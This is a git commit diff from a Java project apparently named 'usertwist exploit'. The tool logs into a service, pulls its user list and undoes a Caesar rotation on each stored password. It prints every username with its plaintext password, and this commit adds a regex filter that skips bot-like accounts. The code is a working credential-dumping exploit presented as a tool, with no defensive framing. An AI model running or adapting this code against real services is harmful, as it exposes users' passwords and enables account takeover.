Added bot exclusion using regex

This commit is contained in:
2024-08-07 14:26:50 +02:00
parent 3aa13a9909
commit b125e250bd
2 changed files with 28 additions and 16 deletions

View File

@@ -26,6 +26,7 @@ public class Main {
public static int rotation = 4;
public static boolean asynchronous = true;
public static Request requestClient;
public static boolean ignoreBots = true;
public static void main(String[] args) throws IOException, InterruptedException, NoSuchAlgorithmException, KeyManagementException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
@@ -60,6 +61,10 @@ public class Main {
readLine = reader.readLine();
if (!readLine.isEmpty()) {rotation = Integer.parseInt(readLine);}
System.out.println("Do you want to ignore bot users ? [Y/n]");
readLine = reader.readLine();
if (readLine.equalsIgnoreCase("n")) {ignoreBots = false;}
JSONObject requestJSON = new JSONObject();
requestJSON.put("username", username);
requestJSON.put("password", password);
@@ -132,9 +137,9 @@ public class Main {
float startTime = System.nanoTime();
if (asynchronous) {
Parser.asyncGetPass(usersArray, rotation);
Parser.asyncGetPass(usersArray, rotation, ignoreBots);
} else {
Parser.getPass(usersArray, rotation);
Parser.getPass(usersArray, rotation, ignoreBots);
}
float elapsedTime = (System.nanoTime() - startTime) / 1000000;
System.out.println("Asynchronous elapsed time = " + elapsedTime + "ms");

View File

@@ -3,35 +3,42 @@ package fr.motysten.usertwist.exploit.tools;
import org.json.JSONArray;
import org.json.JSONObject;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Parser {
public static void getPass(JSONArray usersArray, int rotation) {
for (int i = 0; i < usersArray.length(); i++) {
JSONObject user = usersArray.getJSONObject(i);
String login = user.getString("username");
String password = Cesar.rotate(user.getString("data"), rotation);
private static final String regex = "(^[A-Z][A-Za-z]+[0-9][A-Z])|(^.*?([A-Z]|[0-9]{3}).*?[,?;.:/!§%*^¨$£+])";
private static final Pattern pattern = Pattern.compile(regex);
System.out.println((i + 1) + ". " + login + " => " + password);
public static void getPass(JSONArray usersArray, int rotation, boolean ignoreBots) {
for (int i = 0; i < usersArray.length(); i++) {
parseJSON(usersArray, rotation, ignoreBots, i);
}
}
public static void asyncGetPass(JSONArray usersArray, int rotation) throws InterruptedException {
public static void asyncGetPass(JSONArray usersArray, int rotation, boolean ignoreBots) throws InterruptedException {
for (int i = 0; i < usersArray.length(); i++) {
int finalI = i;
Runnable r = () -> {
JSONObject user = usersArray.getJSONObject(finalI);
String login = user.getString("username");
String password = Cesar.rotate(user.getString("data"), rotation);
System.out.println((finalI + 1) + ". " + login + " => " + password);
};
Runnable r = () -> parseJSON(usersArray, rotation, ignoreBots, finalI);
Thread t = Thread.startVirtualThread(r);
t.join();
}
}
private static void parseJSON(JSONArray usersArray, int rotation, boolean ignoreBots, int finalI) {
JSONObject user = usersArray.getJSONObject(finalI);
String login = user.getString("username");
String password = Cesar.rotate(user.getString("data"), rotation);
final Matcher matcher = pattern.matcher(password);
if (!matcher.matches() || !ignoreBots) {
System.out.println((finalI + 1) + ". " + login + " => " + password);
}
}
}